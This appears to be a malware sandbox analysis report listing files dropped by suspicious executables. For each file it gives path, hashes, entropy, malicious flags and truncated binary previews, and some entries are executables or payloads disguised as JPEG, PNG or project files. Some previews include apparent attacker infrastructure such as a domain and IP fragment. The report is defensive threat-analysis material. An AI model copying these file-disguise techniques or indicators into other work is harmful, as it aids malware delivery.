Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...~..f...........!...'.,..........D)D......@................................s...........@...........................3.R.....D.P....ps...............I.(K...Ps......................................Ks.@.............).,............................text...s+.......................... ..`.rdata...n...@......................@..@.data...............................@....%?.....O.'......................... ..`.%-[....\|.....).....................@....mo:....P.I...)...I................. ..`.reloc.......Ps.......I.............@..@.rsrc........ps.......I.............@..@................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\U5Mb5c\utils.vcxproj

Download File

Process:	C:\Users\user\Documents\ocGsp4.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 144x144, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=5], baseline, precision 8, 75x55, components 3
Category:	dropped
Size (bytes):	365477
Entropy (8bit):	7.999399762980202
Encrypted:	true
SSDEEP:	6144:diACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnKqW7mbZ:U8u69CghoQxoMTFQqtKFCG7mbZ
MD5:	17E6C518557D93D01D6DFB98E17E4F52
SHA1:	7931F3ABBA4EF565E31F34C436ECF7A3944DC643
SHA-256:	683EC92CC193A7FBF263F74E841D69DCB64752FB79B9364D4F03F750AF18F087
SHA-512:	0B8C83350CB3B9EEF8A36BD0218B78A82D3E29A63117580E27889FF3A47AFD97CE5B81D82B31347CDF6DAB14F353875DFCCDA2889F1FB32CA332CBFD177BA981
Malicious:	true
Preview:	......JFIF.............ZExif..MM..................J............Q...........Q..........%Q..........%...............C....................................................................C.......................................................................7.K.."............................................................}........!1A...a."q.2....#B...R..$3br........%&'()456789:CDEF8.210.209.78....."ijstuvwxyz....gnkygm.net......3#..............209.78....................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..K.Si..ZM.....x....8.h<...."..V...F(..1M<..L+.......:.(..\.ANo.)...82...O...P...2...db..u=.4...Wm%=.u&..:.\.W+L#.%5.5..q..E.PQ.....M#..c4....H.".A.R......\#..E.Vg8....PU..Yrh......"..;...i6QE................HJJKLINOP..ST.VWXYZ[\.^_`abcdefghijklmnopqrstuvwxyz{\|}~........=..>.A

C:\Program Files (x86)\k65O7cr6i\log.src

Download File

Process:	C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5059989
Entropy (8bit):	7.999955224450109
Encrypted:	true
SSDEEP:	98304:3OQ8oQBU091MWehE/7o29Mtr9vBGTrBkm638mgfttxtoSrHCYE7GUcOc2s:So6T1MFhE/7qJwBP6TWtttriYE7kjv
MD5:	6A897BDA2F971EF63B369E609A933B22
SHA1:	7F492A72079D02E177BC0D2C56DC5D9C49862266
SHA-256:	55209A14E84AFEE15FE4F556E3EB4F24600F3C5CBB557F926DCECF804249B5F2
SHA-512:	1E7745E053B508BA5E07A13A66F96B175E8C8AEB424D92AEECEB0B9C0F701C869CEB0E8303EF32AA46F6B96279AFED54ED4F338AADC019C31A7CF3E4DAACB17F
Malicious:	true
Preview:	.PNG........IHDR.............\r.f....pHYs............... .IDATx....n.....&E!J.%M.."..9....."...H..L.....LI:.)..K7..!.4Q...{..d.....[......Z{......<.y<9.o...w....]...q..q..q..?..q..q..q..q..q..q..q..q..q..q..q..q..q......3%.F.1p..rD%.;%rD.1p.....qz.....1n.....p.....qz.....1n...0.^.I..9......c.Z....$.Q..K=.OKp=...e%.(.R.....p-tzD..9.m...+.Un...S...5..F..D......R.ys.?W.....\|]....Ke......G......U..1....#^..1\|..!.O.OWr.H.w.P..p.V..H.wz..mo.U....?F......k7[2.."....+...&]#..d......<...V\{P..d...8=.9..Al....Wr......Pc`......X.g..\.\|i7.....O.B.g.p...]..%.^..T.w....a.u..x..zZ........V.....$.Y.6.t....?.g.~..@.93.g.....lPn..o...7.p.J.Cq....J....3.<]...X...w..o..\.u...Jv...3e.).9q..6(..s...^.k...#..[Vr.t.47J}..M......:.....I%.Q\cPN.n...R.z;3J..c....q.].~s.J..._.d.........y....ur{:v...A.I%....)....t{..(.g.o...;....>..7)~{P~_.....5t{X<.x....J....J.0..YY\b.-&.?...Y7.$.X_.e.......{..Jd.3w...l......q.M...&..*...~f...[./.......w..U.^.{q.`......GVV...5.;Z.`W.-uxV...

C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe

Download File

Process:	C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	54152
Entropy (8bit):	6.64786972992462
Encrypted:	false
SSDEEP:	768:jE8w9LlgD9z/4vt+aEjzaXEjoN6Fdv9SqJvwjgCb2VIIL/o/rw3J:jE3LKDZjaEjza0jJRJviN21ME3J
MD5:	7B6586E21FBC8F2F0BB784A1A8FC65B4
SHA1:	E33722B4790B3C83B6F180E57D1B6BEBBC6153CB
SHA-256:	7BAFB7B02EA7C52D3511F3AC21C0586E92C44738AD992D63463AADC260C81722
SHA-512:	E2B4B8F5379D3ADBB5280D1C77C2AA7F5A7212173231576BAC6D7A26109B88BC5CB377CF9D879E7BE2E36CE860C9BCDA7769A22EED5ED63797F70534C6CDDA4C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........%U..vU..vU..vK.pvL..vK.avE..vK.wv...v\.gv\..vU..v...vK.~vW..vK.`vT..vK.evT..vRichU..v........PE..L....B.O.................b...@....................@..................................g....@.....................................d.......\................-..........P...............................0...@............................................text....a.......b.................. ..`.rdata...............f..............@..@.data...............................@....rsrc...\...........................@..@.reloc..`...........................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\k65O7cr6i\tbcore3U.dll

Download File

Process:	C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4858192
Entropy (8bit):	7.9925166869908
Encrypted:	true
SSDEEP:	98304:9RK1dm+O6P0DvHI/Tvyegz2UrrrjRyBEXp0/aeuZmQQLFXfoGku+i17/8:9S4+O6P5OeMRrjRy7aPZbm3k8V/8
MD5:	66728856B1F2458C0D6CEAD8DBE6944C
SHA1:	EAA528F7116575B64B1363975E87918AFECE3422
SHA-256:	CA9A7458A1CFBA669B7EAE33B6F329894197494EB681F70DEBDA696FB3481E97
SHA-512:	14F096A86C4A2AB797976EC4BFC5EE4C51596F1CC675ABE145FF379421702396AA1CE8EA86F41EE80F5441CB561D0A9604AAF032E549F17BE786C79126D5A168
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...~..f...........!...'.,..........D)D......@................................s...........@...........................3.R.....D.P....ps...............I.(K...Ps......................................Ks.@.............).,............................text...s+.......................... ..`.rdata...n...@......................@..@.data...............................@....%?.....O.'......................... ..`.%-[....\|.....).....................@....mo:....P.I...)...I................. ..`.reloc.......Ps.......I.............@..@.rsrc........ps.......I.............@..@................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\k65O7cr6i\utils.vcxproj

Download File

Process:	C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 144x144, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=5], baseline, precision 8, 75x55, components 3
Category:	dropped
Size (bytes):	365477
Entropy (8bit):	7.999399719526796
Encrypted:	true
SSDEEP:	6144:TiACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnKqW7mbZ:m8u69CghoQxoMTFQqtKFCG7mbZ
MD5:	30F48A0A3A72D44FCF5C983C2A2CF09E
SHA1:	7E8C9B8D8DC67C3E154D0892506F1BEF90E4D233
SHA-256:	CA89D7E7E4ACAA532726596D7B506960C6B72BD3BD73D666E66D2106B413F2AD
SHA-512:	C25FCE87F254E4E8BEA980B07AED4FE0F938383630CE2AA3016D991798A56DD5024BBB6D01E7E7D4AB3FE097C42BDF0C441DBB9A855D07873D669D1760541CDB
Malicious:	true
Preview:	......JFIF.............ZExif..MM..................J............Q...........Q..........%Q..........%...............C....................................................................C.......4...............................................................7.K.."............................................................}........!1A...a."q.2....#B...R..$3br........%&'()456789:CDEF8.210.209.78....."ijstuvwxyz....gnkygm.net......3#..............209.78....................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..K.Si..ZM.....x....8.h<...."..V...F(..1M<..L+.......:.(..\.ANo.)...82...O...P...2...db..u=.4...Wm%=.u&..:.\.W+L#.%5.5..q..E.PQ.....M#..c4....H.".A.R......\#..E.Vg8....PU..Yrh......"..;...i6QE................HJJKLINOP..ST.VWXYZ[\.^_`abcdefghijklmnopqrstuvwxyz{\|}~........=..>.A

C:\Users\Public\Music\destopbak.ini

Download File

Process:	C:\Users\user\Documents\ocGsp4.exe
File Type:	data
Category:	modified
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:l:l
MD5:	739EDCC2C973B7A990767601FA661F21
SHA1:	6F8DF82DC929F3C40E2403252D9C7EC09001DBB6
SHA-256:	BA3C702B24E4EF16C111BF92823170F6E81FD37FBAFACCBEEF52192A1C094380
SHA-512:	098608F58AB3FC68088ACE47A30C15056D274AADA2893A224C29DDC0CC70F82B4CA723CE487DED1306F839AC12EE8782BC6383817FD77E7CDE3DEA99525731D1
Malicious:	false
Preview:	.@

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\FOM-50[1].jpg

Download File

Process:	C:\Users\user\Documents\ocGsp4.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 144x144, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=5], baseline, precision 8, 75x55, components 3
Category:	dropped
Size (bytes):	55085
Entropy (8bit):	7.99273647746538
Encrypted:	true
SSDEEP:	1536:puwkqL5y4p4KnRWlENc3PGdLLv/PJctIJPc+pifyC:kQM4+B/MLL/PmaG
MD5:	DC44AE348E6A74B3A74871020FDFAC74
SHA1:	B223020A5F82FF15FD5E4930477F38F34C9CB919
SHA-256:	48F258037BE0FFE663DA3BCD47DBA22094CC31940083D9E18A71882BDC1ECDB8
SHA-512:	5FB13A8CE2206119C76325504DEF61D4277A73D71D79157AE564F326D6FC18080218633CE7C708F31A81D6CD1A5AD8A903CFE1CC0C57183B4809A9C12E32A429
Malicious:	true
Preview:	......JFIF.............ZExif..MM..................J............Q...........Q..........%Q..........%...............C....................................................................C.......................................................................7.K.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEF..................ijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..K.Si..ZM.....x....8.h<...."..V...F(..1M<..L+.......:.(..\.ANo.)...82...O...P...2...db..u=.4...Wm%=.u&..:.\.W+L#.%5.5..q..E.PQ.....M#..c4....H.".A.R......\#..E.Vg8....PU..Yrh......"..;...i6QE................HJJKLINOP..ST.VWXYZ[\.^_`abcdefghijklmnopqrstuvwxyz{\|}~..a.....=..>.A

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\FOM-53[1].jpg

Download File

Process:	C:\Users\user\Documents\ocGsp4.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 144x144, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=5], baseline, precision 8, 75x55, components 3
Category:	dropped
Size (bytes):	366410
Entropy (8bit):	7.375315637594966
Encrypted:	false
SSDEEP:	6144:XC/wwzn9iJzBFsJmUSmfXVz7pB+iMuVrt5DY:9ws7FsJmUSmd7pBpMgR58
MD5:	DA1D5EB665D3AAD523BE59415E6449ED
SHA1:	40C310E82035381410B83E4F1DA0A4410FEB8FE6
SHA-256:	F919634AC7E0877663FFF06EA9E430B530073D6E79EEE543D02331F4DFF64375
SHA-512:	6F179A166126C97444920636B584FB0BA4E9596A659921A2BCAA80E7DE094A87402D3E2B6D8DA8797045D7E22C3D37E6CED2A8E137E0387A1320D631B139FD36
Malicious:	false
Preview:	......JFIF.............ZExif..MM..................J............Q...........Q..........%Q..........%...............C....................................................................C.......................................................................7.K.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEF..................ijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..K.Si..ZM.....x....8.h<...."..V...F(..1M<..L+.......:.(..\.ANo.)...82...O...P...2...db..u=.4...Wm%=.u&..:.\.W+L#.%5.5..q..E.PQ.....M#..c4....H.".A.R......\#..E.Vg8....PU..Yrh......"..;...i6QE.................IZ....OQPSS.U.WX..[..&6.ab.)eLghibkinoouqrsuuvw2zy{}}~.............

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\d[1].gif

Download File

Process:	C:\Users\user\Desktop\153776434-874356550.05.exe
File Type:	PNG image data, 512 x 512, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	3892010
Entropy (8bit):	7.995495589600101
Encrypted:	true
SSDEEP:	98304:NAHrPzE9m4wgyNskyumYyryfxFVLqndnA1Nfjh:j5wgHh/nyZLN1
MD5:	E4E46F3980A9D799B1BD7FC408F488A3
SHA1:	977461A1885C7216E787E5B1E0C752DC2067733A
SHA-256:	6166EF3871E1952B05BCE5A08A1DB685E27BD83AF83B0F92AF20139DC81A4850
SHA-512:	9BF3B43D27685D59F6D5690C6CDEB5E1343F40B3739DDCACD265E1B4A5EFB2431102289E30734411DF4203121238867FDE178DA3760DA537BAF0DA07CC86FCB4
Malicious:	true
Preview:	.PNG........IHDR..............$.....PLTE.....H..K..F.....G..H..G..H..H..D..I..G..Gf.Ff.Hf.Ff.E..H..H..H..H..H........H........H..G........G....................G..H........................................................................................................?..H..G..H..G..G..H.HH.HH.GG.GG.GG.II.GG.??.GG.DD.HH.OO.GG.HH.HH.II.HH.GG.HH.HH.GG.GG.HH.GG.UU.??.GG.GG.HH.HH.GG.33...................GG.HH..G..Gf.F...................GG.HH.GG.HH.H................f.Fg.Fg.Fb.Di.Cf.Gg.Fg.Gf.Fe.G..K.KKi.Fi.K.HHg.G....5n&....tRNS...3.Df....^..wU.MwU...3UMw....f.D"....<.....o.....+..M...^......-......1V{........-.........^...M.+....o......<."D.f...........wU3...^.."..fD".3.K.X.....IDATx....jSQ...Z#x U.T<S............8.D..#..+...A.Y.l.0E...y/!.....E.....;G^,<.A.........\|..z....\|.A;.@..{....... ..>.c.U;.@......u...v..`..`...a..`..`..`..`..`..`..`..`..`...O<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.6.G^l.........4z.#.........=.=.h.....kw...._..~._:.[;.6..C....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\f[1].dat

Download File

Process:	C:\Users\user\Documents\ocGsp4.exe
File Type:	data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	4.5851931774575325
Encrypted:	false
SSDEEP:	6:JRSscjAQ7F3Y+ZcRC60rdimzYFAQT7LE/o2xjC:fSscjHRY+ZcRAdimzo/OY
MD5:	E54C4296F011EC91D935AA353C936E34
SHA1:	53A3313D40696E87C9B8CE2BE7E67BE49DD34C20
SHA-256:	81FF16AEDF9C5225CE8A03C0608CC3EA417795D98345699F2C240A0D67C6C33D
SHA-512:	5D1FBA60BE82A33341E5B9E7D3C1E7B0DCC9A41B4C1F97F2930141A808D62AF56D8697CB0D2FD4894A6080DF98A3E4EEF9D98A6003C292C588F547E1C6F84DE1
Malicious:	false
Preview:	.V.Wf4e111111111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW11111111111111111111.BTE5k1=I=======.NXI9g%&A&&&&&&&NRRV%lyyKK..:{ggJ..J"+$-WEBXv941HD_R!\|1=P.{r?_GBl(2%%%%%%%%%%%%%%%%%%%%%%%%%%%%%MQQU&ozzHH..9xddI..I!('.TFA[u:72KG\Q".2>S.xq<\D@n0'''''''''''''''''''''''''''''OSSW$mxxJJ..;zffK..K#%,VDCYw850IE^S }0<Q.zs>^FAo+1&&&&&&&&&&&&&&&&&&&&&&&&&&&&&NRRV%lyyKK..:{ggJ..J"+$-WEBXv941HD_R!\|1=P.{r?_GAo+1&&&&&&&&&&&&&&&&&&&&&&&&&&&&&....&&&&....&&&&....&&&9\A\999999999999999999999M[ZV$3e.-goooooooooooooooooooooooooooooooooooooo...A23"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA45(-^.[N6><!K!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\i[1].dat

Download File

Process:	C:\Users\user\Desktop\153776434-874356550.05.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	5.351853354270066
Encrypted:	false
SSDEEP:	6:WHa+d83EkjtuCrCa2BIDRY2XI2QRYU+hqVF2X7OdUzW9E40/qcX:kPk5MBIDRB9EX+MmgUzWg3
MD5:	C92063FD4E148F2D2386C0DA8E46E701
SHA1:	F118BBC798F37C40FDDB73171AA69295E1449CFE
SHA-256:	31ADB4043339320C360D43686ACE3736BAC87DF27DC309C7C544820ACDB34A93
SHA-512:	C8D6EF617BF53301310C16035F251CB53FF5B1C687E9F3A8D77E8AE9810363D6F6119543DE26EA3409ADFCC7B66DBCE2C34B17DD7EE2188BE4FD32BB4508C88C
Malicious:	false
Preview:	....l%00FYU^m6p1BB.R<.07^]^Y>w85\L@[8(u8WU.Yw>0?????????????????????????????????WKKO<u``....=f a..L.l/`g....n'he....hx%h..G.$mclllllllllllllllllllllllllllllllll....o&33EZV]n5s2AA.Q?\|34]^]Z=t;6_OCX;+v;TV.Xv?1>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>VJJN=taa....<g!`..M.m.af....o&id....iy$i..F.#jdkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk....~ss1TIT1111111111111111111111111111111111111GBT]2:s9UU99999999999999999999999999999999999999nVK]-<9.rwo~.P..................................QoQl ...6\|ylllllllllllllllllllllllllllllllllllll

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\FOM-51[1].jpg

Download File

Process:	C:\Users\user\Documents\ocGsp4.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 144x144, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=5], baseline, precision 8, 75x55, components 3
Category:	dropped
Size (bytes):	4859125
Entropy (8bit):	7.999956261017207
Encrypted:	true
SSDEEP:	98304:iwS8fBFQmSDP3eB/FsE7wRnIdq//xvpY/gMQ+nQxcweXxpuQ6SutPQNCG0o:iwSgTQfFAwdCqRvpk5QvxcwgXMSutTo
MD5:	EE6CA3EEA7F9B1C81059AEF570A28C02
SHA1:	14EFBF498356644D9B1327407E3F03E1BFBEA363
SHA-256:	A2065EA035C4E391C0FD897A932DCFF34D2CCD34579844C732F3577BC443B196
SHA-512:	563E7D7AB4A94505F1EFA5931F685A45D89CCB27A97593BF69C668AAA747C9511C8BE2AADA2E4DF3E9AB02559B564C699A8A9501B70420FAC3556758E29478D5
Malicious:	true
Preview:	......JFIF.............ZExif..MM..................J............Q...........Q..........%Q..........%...............C....................................................................C.......................................................................7.K.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEF..................ijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..K.Si..ZM.....x....8.h<...."..V...F(..1M<..L+.......:.(..\.ANo.)...82...O...P...2...db..u=.4...Wm%=.u&..:.\.W+L#.%5.5..q..E.PQ.....M#..c4....H.".A.R......\#..E.Vg8....PU..Yrh......"..;...i6QE................HJJKLINOP..ST.VWXYZ[\.^_`abcdefghijklmnopqrstuvwxyz{\|}~........=..>.A

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\FOM-52[1].jpg

Download File

Process:	C:\Users\user\Documents\ocGsp4.exe
File Type:	PNG image data, 512 x 512, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	5062442
Entropy (8bit):	7.999518892518095
Encrypted:	true
SSDEEP:	98304:GIusCrIENkeXPV97kqmCf4P48E37aREUXr7VYyUOhez2IlpmURniNmJ:Xngv7NmCAPLTREQVb8/RomJ
MD5:	70C21DA900796B279A09040B00953E40
SHA1:	7CD3690B1FDDE033CD47E657FC4FC3A423DF716F
SHA-256:	901330243EF0F7F0AAE4F610693DA751873E5B632E5F39B98E3DB64859D78CBC
SHA-512:	851F4ED843F5D47C93D6C5A7D1895A674B6448631B567A0CCB2DF5873E4A5E722F28ECFC4D0D3220A86309481F9793FCDDA4F89BD993FB79CD09DBED29423752
Malicious:	true
Preview:	.PNG........IHDR..............$.....PLTE.....H..K..F.....G..H..G..H..H..D..I..G..Gf.Ff.Hf.Ff.E..H..H..H..H..H........H........H..G........G....................G..H........................................................................................................?..H..G..H..G..G..H.HH.HH.GG.GG.GG.II.GG.??.GG.DD.HH.OO.GG.HH.HH.II.HH.GG.HH.HH.GG.GG.HH.GG.UU.??.GG.GG.HH.HH.GG.33...................GG.HH..G..Gf.F...................GG.HH.GG.HH.H................f.Fg.Fg.Fb.Di.Cf.Gg.Fg.Gf.Fe.G..K.KKi.Fi.K.HHg.G....5n&....tRNS...3.Df....^..wU.MwU...3UMw....f.D"....<.....o.....+..M...^......-......1V{........-.........^...M.+....o......<."D.f...........wU3...^.."..fD".3.K.X.....IDATx....jSQ...Z#x U.T<S............8.D..#..+...A.Y.l.0E...y/!.....E.....;G^,<.A.........\|..z....\|.A;.@..{....... ..>.c.U;.@......u...v..`..`...a..`..`..`..`..`..`..`..`..`...O<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.6.G^l.........4z.#.........=.=.h.....kw...._..~._:.[;.6..C....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\b[1].gif

Download File

Process:	C:\Users\user\Desktop\153776434-874356550.05.exe
File Type:	PNG image data, 512 x 512, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	125333
Entropy (8bit):	7.993522712936246
Encrypted:	true
SSDEEP:	3072:8vcsO9vKcSrCpJigTY1mZzj283zsY+oOVoPj24pq:8vcXfSWT3TY1mZf13zB+a72Uq
MD5:	2CA9F4AB0970AA58989D66D9458F8701
SHA1:	FE5271A6D2EEBB8B3E8E9ECBA00D7FE16ABA7A5B
SHA-256:	5536F773A5F358F174026758FFAE165D3A94C9C6A29471385A46C1598CFB2AD4
SHA-512:	AB0EF92793407EFF3A5D427C6CB21FE73C59220A92E38EDEE3FAACB7FD4E0D43E9A1CF65135724686B1C6B5D37B8278800D102B0329614CB5478B9CECB5423C7
Malicious:	true
Preview:	.PNG........IHDR..............$.....PLTE.....H..K..F.....G..H..G..H..H..D..I..G..Gf.Ff.Hf.Ff.E..H..H..H..H..H........H........H..G........G....................G..H........................................................................................................?..H..G..H..G..G..H.HH.HH.GG.GG.GG.II.GG.??.GG.DD.HH.OO.GG.HH.HH.II.HH.GG.HH.HH.GG.GG.HH.GG.UU.??.GG.GG.HH.HH.GG.33...................GG.HH..G..Gf.F...................GG.HH.GG.HH.H................f.Fg.Fg.Fb.Di.Cf.Gg.Fg.Gf.Fe.G..K.KKi.Fi.K.HHg.G....5n&....tRNS...3.Df....^..wU.MwU...3UMw....f.D"....<.....o.....+..M...^......-......1V{........-.........^...M.+....o......<."D.f...........wU3...^.."..fD".3.K.X.....IDATx....jSQ...Z#x U.T<S............8.D..#..+...A.Y.l.0E...y/!.....E.....;G^,<.A.........\|..z....\|.A;.@..{....... ..>.c.U;.@......u...v..`..`...a..`..`..`..`..`..`..`..`..`...O<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.6.G^l.........4z.#.........=.=.h.....kw...._..~._:.[;.6..C....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\s[1].jpg

Download File

Process:	C:\Users\user\Desktop\153776434-874356550.05.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 144x144, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=5], baseline, precision 8, 75x55, components 3
Category:	dropped
Size (bytes):	8299
Entropy (8bit):	7.9354275320361545
Encrypted:	false
SSDEEP:	192:plfK6KTBKkGUy8DJdg0ANCT/0E/jiG4hMrnv2:pBK6KTBZGWvg0ANCT/WGFv2
MD5:	9BDB6A4AF681470B85A3D46AF5A4F2A7
SHA1:	D26F6151AC12EDC6FC157CBEE69DFD378FE8BF8A
SHA-256:	5207B0111DC5CC23DA549559A8968EE36E39B5D8776E6F5B1E6BDC367937E7DF
SHA-512:	5930985458806AF51D54196F10C3A72776EFDDA5D914F60A9B7F2DD04156288D1B8C4EB63C6EFD4A9F573E48B7B9EFE98DE815629DDD64FED8D9221A6FB8AAF4
Malicious:	false
Preview:	......JFIF.............ZExif..MM..................J............Q...........Q..........%Q..........%...............C....................................................................C.......................................................................7.K.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEF..................ijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..K.Si..ZM.....x....8.h<...."..V...F(..1M<..L+.......:.(..\.ANo.)...82...O...P...2...db..u=.4...Wm%=.u&..:.\.W+L#.%5.5..q..E.PQ.....M#..c4....H.".A.R......\#..E.Vg8....PU..Yrh......"..;...i6QE...............CHI........[..>G..C..&.!7..E..)U&.$...z.tuv......?..............

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\FOM-52[1].jpg

Download File

Process:	C:\Users\user\Documents\ocGsp4.exe
File Type:	PNG image data, 512 x 512, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	5062442
Entropy (8bit):	7.999518892518095
Encrypted:	true
SSDEEP:	98304:GIusCrIENkeXPV97kqmCf4P48E37aREUXr7VYyUOhez2IlpmURniNmJ:Xngv7NmCAPLTREQVb8/RomJ
MD5:	70C21DA900796B279A09040B00953E40
SHA1:	7CD3690B1FDDE033CD47E657FC4FC3A423DF716F
SHA-256:	901330243EF0F7F0AAE4F610693DA751873E5B632E5F39B98E3DB64859D78CBC
SHA-512:	851F4ED843F5D47C93D6C5A7D1895A674B6448631B567A0CCB2DF5873E4A5E722F28ECFC4D0D3220A86309481F9793FCDDA4F89BD993FB79CD09DBED29423752
Malicious:	true
Preview:	.PNG........IHDR..............$.....PLTE.....H..K..F.....G..H..G..H..H..D..I..G..Gf.Ff.Hf.Ff.E..H..H..H..H..H........H........H..G........G....................G..H........................................................................................................?..H..G..H..G..G..H.HH.HH.GG.GG.GG.II.GG.??.GG.DD.HH.OO.GG.HH.HH.II.HH.GG.HH.HH.GG.GG.HH.GG.UU.??.GG.GG.HH.HH.GG.33...................GG.HH..G..Gf.F...................GG.HH.GG.HH.H................f.Fg.Fg.Fb.Di.Cf.Gg.Fg.Gf.Fe.G..K.KKi.Fi.K.HHg.G....5n&....tRNS...3.Df....^..wU.MwU...3UMw....f.D"....<.....o.....+..M...^......-......1V{........-.........^...M.+....o......<."D.f...........wU3...^.."..fD".3.K.X.....IDATx....jSQ...Z#x U.T<S............8.D..#..+...A.Y.l.0E...y/!.....E.....;G^,<.A.........\|..z....\|.A;.@..{....... ..>.c.U;.@......u...v..`..`...a..`..`..`..`..`..`..`..`..`...O<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.6.G^l.........4z.#.........=.=.h.....kw...._..~._:.[;.6..C....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\FOM-53[1].jpg

Download File

Process:	C:\Users\user\Documents\ocGsp4.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 144x144, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=5], baseline, precision 8, 75x55, components 3
Category:	dropped
Size (bytes):	366410
Entropy (8bit):	7.375315637594966
Encrypted:	false
SSDEEP:	6144:XC/wwzn9iJzBFsJmUSmfXVz7pB+iMuVrt5DY:9ws7FsJmUSmd7pBpMgR58
MD5:	DA1D5EB665D3AAD523BE59415E6449ED
SHA1:	40C310E82035381410B83E4F1DA0A4410FEB8FE6
SHA-256:	F919634AC7E0877663FFF06EA9E430B530073D6E79EEE543D02331F4DFF64375
SHA-512:	6F179A166126C97444920636B584FB0BA4E9596A659921A2BCAA80E7DE094A87402D3E2B6D8DA8797045D7E22C3D37E6CED2A8E137E0387A1320D631B139FD36
Malicious:	false
